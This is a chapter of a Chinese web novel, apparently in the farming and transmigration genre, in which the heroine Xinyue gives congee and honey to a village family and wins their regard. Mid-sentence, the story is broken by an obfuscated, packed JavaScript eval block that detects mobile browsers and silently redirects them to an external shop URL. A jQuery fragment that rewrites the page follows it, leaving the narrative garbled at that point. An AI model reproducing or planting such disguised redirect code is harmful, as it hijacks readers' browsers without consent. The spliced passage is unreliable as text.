现在的普通人家一般一天只吃两顿饭,只有农忙时节会吃三顿。
中午那顿最重要,早上晚上则多半吃点剩菜剩饭便行。
谈婆子家的晚饭便是这样。
中午剩下的粗粮豆饭,切盘咸菜,几条河沟里捞的小杂鱼炖野菜。
便是一家子的吃食。
听见人声,谈婆婆从厨房出来,看见新月,微微愣了愣。
她见过新月躺在床上凄惨灰败的模样。
经此大难,虽能活下来,但身体与精神上恐也需要些时日恢复。
再者如今新月孤身一人,无处可去,无枝可依,大抵该是惶恐不安,充满苦楚忧虑的。
可眼前的人,的确瘦骨伶仃,孱弱单薄,却面上含笑,巴掌大的脸上一双眼睛黑白分明,明亮有神,就如她的名字一般,像夏日夜晚天幕之上新升的一轮月亮,光芒皎皎,隐含着温润而无形的生机。
“哎,能下地了,恢复得不错。”谈婆婆道。
“托您的福,好多了。”新月笑道,落落大方,“今日能下地了我便去了山上一趟,也是好运,采到一窝蜂蜜,拿到镇上换了些钱,这便买了些粮食回来。”
蜂蜜换钱之事没什么好瞒的。
谈婆婆帮她换过衣服,知道她原已身无分文。
况且这蜂蜜采自谈家村山头。
虽然之前村正亲口允许她能随意出入山中。
但以防万一,如此这般过了明路最好。
再者谈婆婆等人的相助之情也理应记得与回馈。
“哎哟,蜂蜜?这可不是人人都能遇上,遇上也不是人人能得手。
你一个人采的?倒也有本事。”
谈婆婆惊诧过后感叹,“都说大难不死,必有后福,你鬼门关里走一遭,日后当该是走运,过好日子的时候了。”
“借您吉言。”新月道,“今日我多熬了些粥,您若不嫌弃,可以尝尝。”
“瞧你说的,只你好不容易得来点钱有点粮食,该自己留着。”
谈婆婆真心实意道,明白这是她特意给自己送来。
即便真是剩下的,只要是能吃的,庄稼人又怎会嫌弃。
“我省的,放心吧,我自己留了的。”新月道,“我都端来了,谈婆婆就收下吧。”
谈婆婆原本以为是糙米粥,里头顶多加一小把米,
谁知新月一打开,却是白花花的米粥,一点杂色都无。
更别提里面还加了猪肝。
谈婆子当真是惊到了。
一时不知该惊讶新月如此大方,还是该说她太大手大脚。
“身子养好了,才能谋生。”新月弯弯眼睛,道,“谈婆婆,您拿个瓦罐装一下?直接放小火上温着,晚饭时吃正好。”
谈婆婆回过神来,忙取来只差不多大小的罐子将粥腾出来。
这么一倒腾,那香味愈发扑鼻。
谈家的两个小孙女已经被香味吸引,先前只在厨房悄悄探头瞧着,眼下已经忍不住围过来,眼巴巴看着那还冒着热气的白粥。
“可真香。”谈婆婆也悄摸咽了口口水,“这猪肝我家以前也买过,也熬过汤,煮过粥,却从没这么香过。”
甚至还有股腥味。
猪肝没什么油水,胜在便宜,好歹也是个荤。
不少人家便会买来打个牙祭。
但做出来的味道,顶多能够吃而已。
“吃着更香!”
还不待新月说话,大丫已忍不住开口。
“香得舌头都恨不得吞掉。”
猪肝,白米粥都是前世再普通不过的东西,要说多香,定然比不上炒菜油炸类吃食,但对于这时候常年吃不上什么油水的人来说,那香味也算是格外浓郁了,大丫这话倒也不算太夸张。
二丫在外人面前便不愿说话,一直默不作声。
此时却忽然挺了挺小肚子,以肢体语言佐证姐姐的话。
那稚气可爱模样令谈婆婆和新月都忍不住笑起来。
“福伯福婶以前在京中做过厨子,跟着他和福婶那段时间里,他教了我不少,我自己也爱琢磨,饮食上倒渐渐有些心得。”
福伯福婶便是搭救原身的那对老夫妇。
新月这话半真半假。
那老夫妇的确在京中做事,却只有福婶是做帮厨的。
因年纪大了,方退下来与老伴儿一起返乡。
路上做吃食时,福婶也的确指点过原身几句。
新月的一手厨艺正好有了名正言顺的来处。
“原来如此。”
之前只大略听新月说过那段经历。
想不到那老夫妇居然是做厨子的。
谈婆婆点点头,“这是你的机缘。”
“您以后买了猪肝,按这个方法做了试试看……”
新月将做法给谈婆婆说了一遍。
这里的烹饪一道上,蒸煮炸卤炒等方法都有,但因各方面条件的限制,普通人家总体厨艺水平都还只停留在初级阶段。
只是一道再家常不过的做法,新月愿意卖个人情。
谈婆婆忙不迭地记下来。
“还有这蜂蜜,家里留的不多,”新月又道,“这两份分给宋婶儿和村正,甜个嘴儿。他们家我就不过去了,还得劳烦谈婆婆一下。”
“哎哟哎哟,这可是好东西,你这……也太客气了。”
谈婆婆着实惊喜了,接过蜂蜜满面笑容。
“他们住在村里,天晚了,你过去确实不方便,放心吧,我吃完饭就给他们送过去——这贵重东西,他们定也欢喜的紧。”
“那就麻烦您了。”
谈婆婆拍拍新月的手,道:“你也不必太拘着,身子骨再好些,可到村里多走动走动,咱们村虽是谈姓为主,却也有不少外姓,向来不欺外人。”
新月与谈婆婆再寒暄两句,便带着大丫二丫离开。
她们刚走不久,谈家干活的人便回来了。
累了一天,最大的渴望便是晚上那一顿。
今日的晚饭里弥漫着一股异样的香味。
新月送来的那碗粥是真稠。
谈婆婆原本想兑点水再煮一煮,可闻着那香气,再看看家人们疲累过后脸上如饥似渴的眼神,最终一狠心,就那么吃吧。
便当过节了。
他们家人多,每人只能分到小半碗。
所有人都埋头小口地喝着。
“……太好喝了。”大儿媳道,“想不到猪肝能这么嫩滑这么好吃,一点儿腥味儿都没有。那新……新月能学来这门手艺,也算因祸得福了。”
谈婆婆道:“是她的造化,却想来她从前便是个能干的。”
谈婆婆想着新月以前在后娘手底下讨生活,必然什么都得干,想必这灶上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830543|211310||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
功夫本就熟练,再加上性子聪慧,遇上高人指点,可不就一点就通,以至于短时间内便能够学有所成了。
再怎么小口吃,终究量少,谈家众人不一会儿便都将粥吃得一干二净。
又在空碗中倒上些热水,涮一涮,当做汤来喝。
“娘,她不是将做法教给您了吗?明天我们也买个猪肝回来做着吃吧。”
二儿媳提议道。
谈婆婆想想好些天没吃肉了,猪肝倒便宜,便点点头。
只是,可不能像新月这般全用白米熬。
“那新月亏了身子,自己补补倒也说得过去,送人也如此实诚,真是够大方。”大儿媳道。
“咱娘可救过她呢。”
“遇到那种事,谁都会搭上一把手,有啥值得说道的。要我说,依她当日情景,能活下来全靠她自己造化。”大儿媳道,“别的不说,平日里咱们也不是没帮过其他人差不多的忙,谁家这般还过情?”
二儿媳想想,点点头:“你说的是。”
记得有一年村中有人生病,性命堪忧,瓢泼大雨的天,是她家男人背着人淋着雨深一脚浅一脚送去镇上寻医,惹得自己还小病了一场,对方却也只送来一点糙米并两个鸡蛋。
当然,对方也尽了力。
只是以新月如今境况来说,就算蜂蜜卖了钱,又能买多少粮食。
即便有报答与结交之意,却能有如此手笔,也委实难得。
那粥换算成米,其实不算的什么
难得的是态度与味道,征服人心。
“娘当时还提防人家,说了那些话。”
两个儿媳议论时,谈婆婆一直没说话,这时方开口道:“那时谁也不知她什么性子,该说的自然要说,大丫二丫本就过得艰难,她家的事我们不好插手,总不能再让她们吃外人的亏。哪怕日子倒回去,我也还是会说那些话。”
所谓日久见人心,新月初醒时的谈话便能看出点端倪。
如今再看她言行举止与待人处事皆进退有礼,为人大方。
她未说一个谢字,却以实际回馈表达着谢意,可见是个知恩图报与心实之人,对她的观感自是好了起来。
“这大丫二丫说不定才是往后有福了。”谈婆婆低声道。
自从大丫二丫爹娘死后,这两个孩子的双眼和她们迅速消瘦下去的身体一样,只余一片灰蒙黯淡。
已经许久不见她们今日这般的精神。
虽然谁也没说,可显然的,两人都跟着新月吃饱了的。
“新月这姑娘,是个性子不错的。”谈婆婆又道,“咱家有两块地在那边,你们过去耕种时注意着点,若她有什么事需要帮忙的,便顺道搭把手。毕竟她人生地不熟,又自个儿一个人……”
那厢,新月与大丫二丫慢慢走回家。
夕阳西下,落日余晖给天地间镀上一层柔和的光芒。
新月便走边赏景,心情舒畅。
想一想,今日上山采蜜,镇上卖蜜与采购。
回来熬粥吃饭,又去了趟村里…
此时天还没黑呢。
原来没有手机和课业工作后,时间似乎也变长了,可以做这么多事。
回到家中,新月将瓦罐清洗干净。
把买的猪肉拿出来,准备炼油。
其实不急,可以明天再炼。
但新月想吃猪油渣了。